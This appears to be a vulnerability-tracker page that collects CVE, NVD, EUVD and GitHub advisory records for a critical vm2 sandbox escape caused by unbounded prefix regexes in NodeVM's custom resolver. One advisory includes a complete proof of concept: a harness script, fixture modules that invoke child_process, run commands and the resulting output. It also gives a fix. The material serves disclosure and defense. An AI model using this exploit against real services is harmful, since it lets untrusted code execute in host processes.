vm2 before 3.12.2 Authorization Bypass via Custom Resolver
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-100721
Publishedvm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.js records the resolved module directory in `this.externals` as `new RegExp('^' + escapeRegExp(resolvedPath))`, without requiring a path separator or end-of-string boundary. Untrusted guest code can therefore require the allowlisted module (e.g. `foo`) and then require the absolute path of a non-allowlisted sibling whose path merely shares the resolved prefix (e.g. `.../node_modules/foo2/index.js`); the sibling passes `isPathAllowedForModule` and is loaded through `hostRequire`, so its top-level code runs in the host process before the exports are wrapped with `vm.readonly`, resulting in a sandbox escape and arbitrary code execution in the host context.
- Source published
- 27 Sep 2026 01:28:28 UTC
- Source modified
- 28 Sep 2026 16:51:10 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 9.5 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CVSS 3.1 · 9.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
euvd · EUVD-2026-87858
Publishedvm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.js records the resolved module directory in `this.externals` as `new RegExp('^' + escapeRegExp(resolvedPath))`, without requiring a path separator or end-of-string boundary. Untrusted guest code can therefore require the allowlisted module (e.g. `foo`) and then require the absolute path of a non-allowlisted sibling whose path merely shares the resolved prefix (e.g. `.../node_modules/foo2/index.js`); the sibling passes `isPathAllowedForModule` and is loaded through `hostRequire`, so its top-level code runs in the host process before the exports are wrapped with `vm.readonly`, resulting in a sandbox escape and arbitrary code execution in the host context.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Sep 27, 2026, 1:28:28 AM
dateUpdated: Sep 28, 2026, 4:51:10 PM
1 related source bulletins · separate from aliases
RHSA-2026:88200: Red Hat Security Advisory: Ansible automation portal Red Hat Enterprise Linux Images
CVE-2026-9496 · CVE-2026-19553 · CVE-2026-85393 · CVE-2026-87776 · CVE-2026-89011 · CVE-2026-100721
- Source published
- Sep 27, 2026, 1:28:28 AM (timezone not stated)
- Source modified
- Sep 28, 2026, 4:51:10 PM (timezone not stated)
- Observed here
- 11 Nov 2026 05:27:42 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 9.5 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
nvd · CVE-2026-100721
Publishedvm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.js records the resolved module directory in `this.externals` as `new RegExp('^' + escapeRegExp(resolvedPath))`, without requiring a path separator or end-of-string boundary. Untrusted guest code can therefore require the allowlisted module (e.g. `foo`) and then require the absolute path of a non-allowlisted sibling whose path merely shares the resolved prefix (e.g. `.../node_modules/foo2/index.js`); the sibling passes `isPathAllowedForModule` and is loaded through `hostRequire`, so its top-level code runs in the host process before the exports are wrapped with `vm.readonly`, resulting in a sandbox escape and arbitrary code execution in the host context.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-863
Original publisher date fields
published: 2026-09-27T02:17:17.547
lastModified: 2026-09-28T17:17:46.057
- Source published
- 27 Sep 2026 02:17:17 UTC
- Source modified
- 28 Sep 2026 17:17:46 UTC
- Observed here
- 25 Oct 2026 04:17:26 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 9.5 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Secondary · 9.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
osv · GHSA-5h3f-q97h-ccvc
Published## Summary At source revision `91034466bfb7f56b95fd48083ec6ca36d058f164` of vm2 3.11.8, an untrusted `NodeVM` guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. `LegacyResolver.customResolve` stores the resolved path in `this.externals` as `^<path>` without an end or separator boundary; a later absolute require of a sibling such as `foo2/index.js` therefore passes the external check and is loaded through `hostRequire` when the configured context is `host`. The decisive attack loaded `foo` as `FOO_OK` and then executed the prefix-sharing sibling, which returned `PREFIX_PWN` after invoking `child_process`; an otherwise identical control denied the sibling with `ENOTFOUND`. ## Technical Details The affected configuration is a documented `NodeVM` use in which the embedder sets `require.external` to `{modules: ['foo'], transitive: false}`, supplies a custom resolver that returns the `foo` directory, sets a root directory, and uses `context: 'host'`. The guest controls the `require` specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary `node_modules` lookup misses and the custom resolver is consulted. The source-to-sink path is: - `NodeVM.run` executes guest code and creates the module-specific `require` function at `lib/nodevm.js:516-575`. - `DefaultResolver.resolveFull` searches normal locations and then dispatches a miss to `customResolve` at `lib/resolver.js:227-316`. - `LegacyResolver.customResolve` checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at `lib/resolver-compat.js:266-291`. - `isPathAllowedForModule` falls back to `this.externals.some(regex => regex.test(path))` at `lib/resolver-compat.js:193-215`. The dynamically appended expression `^/…/node_modules/foo` also matches `/…/node_modules/foo2/index.js` because no path separator or end-of-string condition is required. - `loadJS` uses `this.hostRequire(filename)` for a host-context file and only wraps the returned exports with `vm.readonly` at `lib/resolver-compat.js:255-263`. Top-level effects of the required file therefore occur in the host process before the exports are wrapped. The relevant current code has the same flaw for both supported custom-resolver return shapes: ```js if (typeof resolved === 'string') { this.externals.push(new RegExp('^' + escapeRegExp(resolved))); return this.loadAsFileOrDirectory(resolved, extList); } const {module=x, path: resolvedPath} = resolved; this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath))); return this.loadNodeModules(module, [resolvedPath], extList); ``` The existing anchored bare-specifier matcher and the separator-aware `mod.path` check address different authorization states. They do not constrain the new `this.externals` entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix. ## PoV The minimal guest operation is to load the configured bare name and then request the separate absolute sibling path: ```js const foo = require('foo'); module.exports = { foo, sibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js') }; ``` The corresponding embedder configuration is: ```js const vm = new NodeVM({ require: { external: {modules: ['foo'], transitive: false}, root: '/tmp/vm2-prefix-case', context: 'host', resolve(name) { return name === 'foo' ? '/tmp/vm2-prefix-case/node_modules/foo' : undefined; } } }); ``` The sibling is not itself allowlisted. Its successful load is the authorization violation; the `child_process` call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code. ## PoC From a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts: ```sh git checkout 91034466bfb7f56b95fd48083ec6ca36d058f164 npm ci --ignore-scripts ``` Save the following harness as `/tmp/custom-resolve-prefix.js`: ```js 'use strict'; const path = require('path'); const { NodeVM } = require(process.cwd() + '/lib/main.js'); const [, , mode, fooIndexPath, siblingPath] = process.argv; const fooDir = path.dirname(fooIndexPath); const root = path.resolve(fooDir, '../..'); const entry = path.join(path.dirname(root), 'entry.js'); let customCalls = 0; function runGuest(code) { return new NodeVM({ require: { external: {modules: ['foo'], transitive: false}, root, context: 'host', resolve(moduleName) { if (moduleName === 'foo') { customCalls++; return fooDir; } return undefined; } } }).run(code, entry); } const record = {mode, result: 'invalid'}; try { if (mode === 'candidate') { const output = runGuest(` const foo = require('foo'); module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})}; `); record.output = output; if (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') { record.result = 'violation'; record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN'; } else { record.result = 'pass'; } } else if (mode === 'control') { try { runGuest(`module.exports = require(${JSON.stringify(siblingPath)});`); record.result = 'violation'; record.signal = 'prefix-sharing sibling loaded before custom resolution'; } catch (error) { record.result = 'pass'; record.denial = String(error && (error.code || error.message) || error); } } else { record.error = 'unknown mode'; } } catch (error) { record.result = 'invalid'; record.error = String(error && (error.stack || error.message) || error); } record.customCalls = customCalls; console.log(JSON.stringify(record)); ``` Create the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix: ```sh mkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2 cat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF' 'use strict'; module.exports = 'FOO_OK'; EOF cat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF' 'use strict'; module.exports = require('child_process').execFileSync( process.execPath, ['-e', "process.stdout.write('PREFIX_PWN')"] ).toString(); EOF ``` Run the attack and then the negative control from the repository checkout: ```sh node /tmp/custom-resolve-prefix.js candidate \ /tmp/vm2-prefix-case/node_modules/foo/index.js \ /tmp/vm2-prefix-case/node_modules/foo2/index.js node /tmp/custom-resolve-prefix.js control \ /tmp/vm2-prefix-case/node_modules/foo/index.js \ /tmp/vm2-prefix-case/node_modules/foo2/index.js ``` The decisive results were: ```text {"mode":"candidate","result":"violation","output":{"foo":"FOO_OK","sibling":"PREFIX_PWN"},"signal":"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN","customCalls":1} {"mode":"control","result":"pass","denial":"ENOTFOUND","customCalls":0} ``` Both executions completed successfully with return code 0 in an offline `node:bookworm` runtime. The attack reached `LegacyResolver.customResolve` once, while the control reached it zero times. The `foo2` fixture can use `child_process` only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied. ## Impact This is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a `NodeVM` with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite `transitive: false`. The demonstrated sibling executes `child_process` at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability. ## Suggested Fix Make every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the `{path: resolvedPath}` result: ```js const externalPath = value => new RegExp( '^' + escapeRegExp(value) + '(?:[\\/].*)?$' ); ``` Use `externalPath(resolved)` at the string-return branch and `externalPath(resolvedPath)` at the object-return branch. A path-aware canonical comparison shared with `isPathAllowedForModule` is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted `foo` and after `customResolve` has appended a new regex. Add regression coverage that configures `external: {modules: ['foo'], transitive: false}`, a custom resolver returning `foo`, and `context: 'host'`; it should require `foo` and then assert that the absolute `foo2/index.js` sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving `foo`, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither `this.externals.push` branch can reintroduce the prefix authorization. ## Affected Package/Versions - Package: `vm2` in the npm ecosystem. - Tested package version: `3.11.8`, at source revision `91034466bfb7f56b95fd48083ec6ca36d058f164`. - Affected version range tested: `pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164`. - Current head: the pinned revision is vulnerable, as shown by the attack/control pair above. - Patched versions: none identified by the tested evidence. - Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed. ## Advisory History The closest public match is [GHSA-7q3f-wx44-378m](https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m), titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the `mod.path.startsWith(path)` logic in `isPathAllowedForModule` for a relative require from an allowlisted package. Its public fix is [commit `6ac3916da84e060c403e407b6b6318fcc66b0e72`](https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72), which adds a path-boundary check to `isPathAllowedForModule` while leaving the filename-side `this.externals` fallback unchanged. A related public resolver fix is [commit `ab4ee7d803e8c80155e9eb3672226bddbca4aa9c`](https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c), which rejects `..` traversal in allowlisted subpaths and explicitly leaves the filename-side `this.externals` matcher untouched. This finding has a separate fix surface: the current `customResolve` function appends new raw-prefix regular expressions to `this.externals` at both custom-resolver return branches, which those public fixes do not describe or patch. [GHSA-c48m-32m9-vx93](https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93), “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side `externalCache` matcher and rejects `..` segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: `customResolve` appends a filename-side raw-prefix regular expression to `this.externals`, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.
- Source published
- 5 Oct 2026 23:24:29 UTC
- Source modified
- 5 Oct 2026 23:30:04 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Publisher rating · CRITICAL
osv · GHSA-c9wr-qm7p-p6vc
Withdrawn## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-5h3f-q97h-ccvc. This link is maintained to preserve external references. ## Original Description vm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.js records the resolved module directory in `this.externals` as `new RegExp('^' + escapeRegExp(resolvedPath))`, without requiring a path separator or end-of-string boundary. Untrusted guest code can therefore require the allowlisted module (e.g. `foo`) and then require the absolute path of a non-allowlisted sibling whose path merely shares the resolved prefix (e.g. `.../node_modules/foo2/index.js`); the sibling passes `isPathAllowedForModule` and is loaded through `hostRequire`, so its top-level code runs in the host process before the exports are wrapped with `vm.readonly`, resulting in a sandbox escape and arbitrary code execution in the host context.
- Source published
- 27 Sep 2026 03:31:03 UTC
- Source modified
- 5 Oct 2026 23:30:04 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Publisher rating · CRITICAL